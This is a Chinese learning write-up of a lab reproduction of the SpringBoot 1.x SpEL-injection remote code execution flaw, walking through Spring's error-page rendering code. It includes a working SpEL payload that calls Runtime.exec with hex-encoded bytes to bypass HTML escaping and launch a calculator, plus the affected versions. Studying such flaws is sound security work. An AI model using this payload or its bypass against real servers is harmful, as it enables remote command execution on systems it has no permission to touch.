springboot-spel-rce复现

学习java的不知道多少天,对sprintboot-spel-rce进行复现,记录自己复现的过程。我是一个java初学者,肯定有很多不懂的,写错了的地方欢迎大家来指正。

漏洞利用条件:

  1. SpringBoot版本1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  2. 知道一个触发SpringBoot默认页面的接口和参数

一、搭建环境

下载地址:https://github.com/LandGrey/SpringBootVulExploit

首先第一个问题,java的jdk版本问题,我环境有java15和java1.8,我一开始使用java15去运行项目,发现报错。 
Java HotSpot(TM) 64-Bit Server VM warning: Options -Xverify:none and -noverify were deprecated in JDK 13 and will likely be removed in a future release.

然后自己去换了一个版本就ok了。 

File->project Settings -> Project -> ProjectSDK

然后在运行就可以了。其它问题到是没遇到过,因为之前我把我的java环境弄好了。这里就没有那么多错误了。

可以看到已经启动了

二、复现漏洞

我们先来看看他能干些什么。

访问http://localhost:9091/article?id=${7*7} 的时候看到存在49。

再来看看弹出计算机的操作

地址是http://localhost:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}。

三、分析原理

这边先下载源码,好调试分析。

 

先说说漏洞点,出现在org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration#render方法上。

 

 

 

       这边我先乱分析一通。先看看render方法。先有一个response.getContentType(),判断是不是空,如果是空的话就是response.setContentType(getContentType()),我不知道啥意思,看单词的意思大概是响应报文的ContentType为空的就设置一个。接着看下面,创建一个HashMap,将model传入,这里的model我也不知道是啥。接着调用这个HashMap的put方法,就是往HashMap里面传值,path=request.getContextPath(),大致是将url路径放入这个HashMap?

       this.context看了一下,是StandardEvaluationContext类,然后setRootObject这个函数,判断传入的HashMap是不是空,如果如果为空就执行TypedValue.NULL,如果不为空就创建一个TypedValue的类,将HashMap传入进去。

public void render(Map<String, ?> model, HttpServletRequest request,
				HttpServletResponse response) throws Exception {
			if (response.getContentType() == null) {
				response.setContentType(getContentType());
			}
			Map<String, Object> map = new HashMap<String, Object>(model);
			map.put("path", request.getContextPath());
			this.context.setRootObject(map);
			String result = this.helper.replacePlaceholders(this.template, this.resolver);
			response.getWriter().append(result);
		}

 

迷迷糊糊的,接着往后看吧,看看helper是啥,发现他是一个PropertyPlaceholderHelper。然后调用了replacePlaceholders方法,看看里面是什么。判断value是否为空,然后调用parseString方法,这个方法里面的东西有点多。先不看了。哈哈。最终得到一个结果,然后将结果传入响应报文的getWriter方法。乱分析了一通。

 public String replacePlaceholders(String value, PropertyPlaceholderHelper.PlaceholderResolver placeholderResolver) {
        Assert.notNull(value, "'value' must not be null");
        return this.parseStringValue(value, placeholderResolver, new HashSet());
    }

带着疑问,我们来看别人写的文章

1、第一个传入的model是啥。

               model参数包含着一些请求的路径、参数值、时间等信息,类似于php的REQUEST变量。

2、request.getContextPath()是什么

                <%=request.getContextPath()%>是为了解决相对路径的问题,可返回站点的根路径

3、replacePlaceholders是什么

                解析模板,传入的template参数为报错页面模板,resolver里面就存在着和map变量一样的值(就是一些路径参数、时间等信息),这一步其实就是根据resolver把页面模板里面的模板变量进行替换

4、parseStringValue是什么

                在xml中的EL表达式解析,资源加载,@Value注解内容解析,都用到了这样一个工具类方法,这是漏洞的关键,我还想着不想看,看来是非看不可咯。

 

那就继续分析里面的代码吧,得先看看里面是啥吧。

创建一个StringBuilder类,传入的是第一个参数,也就是template。生成一个StringBuilder类。

protected String parseStringValue(
			String strVal, PlaceholderResolver placeholderResolver, Set<String> visitedPlaceholders) {

		StringBuilder result = new StringBuilder(strVal);

		int startIndex = strVal.indexOf(this.placeholderPrefix);
		while (startIndex != -1) {
			int endIndex = findPlaceholderEndIndex(result, startIndex);
			if (endIndex != -1) {
				String placeholder = result.substring(startIndex + this.placeholderPrefix.length(), endIndex);
				String originalPlaceholder = placeholder;
				if (!visitedPlaceholders.add(originalPlaceholder)) {
					throw new IllegalArgumentException(
							"Circular placeholder reference '" + originalPlaceholder + "' in property definitions");
				}
				// Recursive invocation, parsing placeholders contained in the placeholder key.
				placeholder = parseStringValue(placeholder, placeholderResolver, visitedPlaceholders);
				// Now obtain the value for the fully resolved key...
				String propVal = placeholderResolver.resolvePlaceholder(placeholder);
				if (propVal == null && this.valueSeparator != null) {
					int separatorIndex = placeholder.indexOf(this.valueSeparator);
					if (separatorIndex != -1) {
						String actualPlaceholder = placeholder.substring(0, separatorIndex);
						String defaultValue = placeholder.substring(separatorIndex + this.valueSeparator.length());
						propVal = placeholderResolver.resolvePlaceholder(actualPlaceholder);
						if (propVal == null) {
							propVal = defaultValue;
						}
					}
				}
				if (propVal != null) {
					// Recursive invocation, parsing placeholders contained in the
					// previously resolved placeholder value.
					propVal = parseStringValue(propVal, placeholderResolver, visitedPlaceholders);
					result.replace(startIndex, endIndex + this.placeholderSuffix.length(), propVal);
					if (logger.isTraceEnabled()) {
						logger.trace("Resolved placeholder '" + placeholder + "'");
					}
					startIndex = result.indexOf(this.placeholderPrefix, startIndex + propVal.length());
				}
				else if (this.ignoreUnresolvablePlaceholders) {
					// Proceed with unprocessed value.
					startIndex = result.indexOf(this.placeholderPrefix, endIndex + this.placeholderSuffix.length());
				}
				else {
					throw new IllegalArgumentException("Could not resolve placeholder '" +
							placeholder + "'" + " in string value \"" + strVal + "\"");
				}
				visitedPlaceholders.remove(originalPlaceholder);
			}
			else {
				startIndex = -1;
			}
		}

		return result.toString();
	}

 先查找到第一个${ 最开始的位置和找到对应的 } 的位置,然后在模板字符串中根据开始位置和结束位置进行截取,获得第一个模板变量的名称,在这里就是timestamp

 后面我们看到将得到的值又放入parseStringValue函数,防止还存在${}。最终再调用resolvePlaceholder方法来获取timestamp的值。 

知道了这个地方之后呢,因为我们传入的message是${7*7},他会把截取${}中间的,然后将中间的值放入resolvePlaceholder函数中,导致SpEL表达式注入。

可以看到propVal已经变成49了。其中存在HtmlUtils.htmlEscape,是会进行html实体编译的,使用十六进制进行绕过。

 到这就结束了。因为代码执行点就在这。这边给上一个十六进制绕过弹计算机的payload

/article?id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

四、总结

1、很多代码都不懂,没事慢慢来,见多了就懂了。知道了Spel代码注入的关键函数为resolvePlaceholder,然后实体编码的函数为HtmlUtils.htmlEscape。

2、之前是debug调试代码没问题,这次知道了怎么调试springbootMvc。

3、Spel表达式学习连接SpringBoot 1.x SpEL表达式注入漏洞 - zpchcbd - 博客园

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值